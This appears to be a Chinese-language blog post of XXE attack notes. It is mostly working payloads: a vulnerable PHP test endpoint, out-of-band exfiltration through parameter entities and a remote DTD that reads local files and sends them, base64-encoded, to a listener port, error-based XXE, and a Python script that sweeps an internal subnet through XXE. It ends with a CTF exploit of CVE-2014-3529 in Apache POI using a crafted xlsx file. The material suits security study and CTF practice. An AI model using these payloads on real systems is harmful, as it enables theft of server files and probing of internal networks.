常用 payload 分析#
好像大家都用這個測試代碼
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);
使用 XML 發送數據:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
]>
<root>&a;</root>
但是我在嘗試參數實體的時候似乎不能外帶數據
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % a "http://localhost:8887/aaa">
%a;
]>
<root></root>
嵌套也是不行的
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://localhost:8887/?%file;'>">
%start;
%send;
]>
最常用的外帶數據的方法:
在自己的 vps 上準備兩個文件,我這裡就就都在本機做的實驗
本地的 8001 端口開一個 web 服務,
local.xml
文件內容:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://localhost:8887/?%file;'>">
%start;
這個文件表示讀取到數據之後發送給另一個 8887 端口,然後我們向受害者伺服器發送數據,
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
%remote;
%send;
]>
<message>1234</message>
然後就可以在 8887 端口接收到數據了
換一種 payload
也行
DTD 文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://localhost:8887/p=%file;'>">
發送的 paylod
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>
報錯 XXE#
這個方法 p 牛其實早就說過了,通過三層嵌套的 XML 就可以達到報錯
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>
XXE 探測內網#
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '192.168.1.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
print "error"
continue
實例分析#
網鼎杯 2020 fileJava#
用到的漏洞就是 CVE20143529
復現代碼
import org.apache.poi.EncryptedDocumentException;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import java.io.FileInputStream;
import java.io.IOException;
public class CVE20143529 {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getLastRowNum());
}
}
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>pxyapache</groupId>
<artifactId>pxypxy</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.10-FINAL</version>
</dependency>
</dependencies>
</project>
利用過程:
準備一個 excel 文件:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>
準備 DTD 文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://localhost:8887/p=%file;'>">
會讀取文件,然後將其發送到 8887 端口上
監聽得到的 flag
參考#
YouTube 這個視頻其實講的不錯:https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S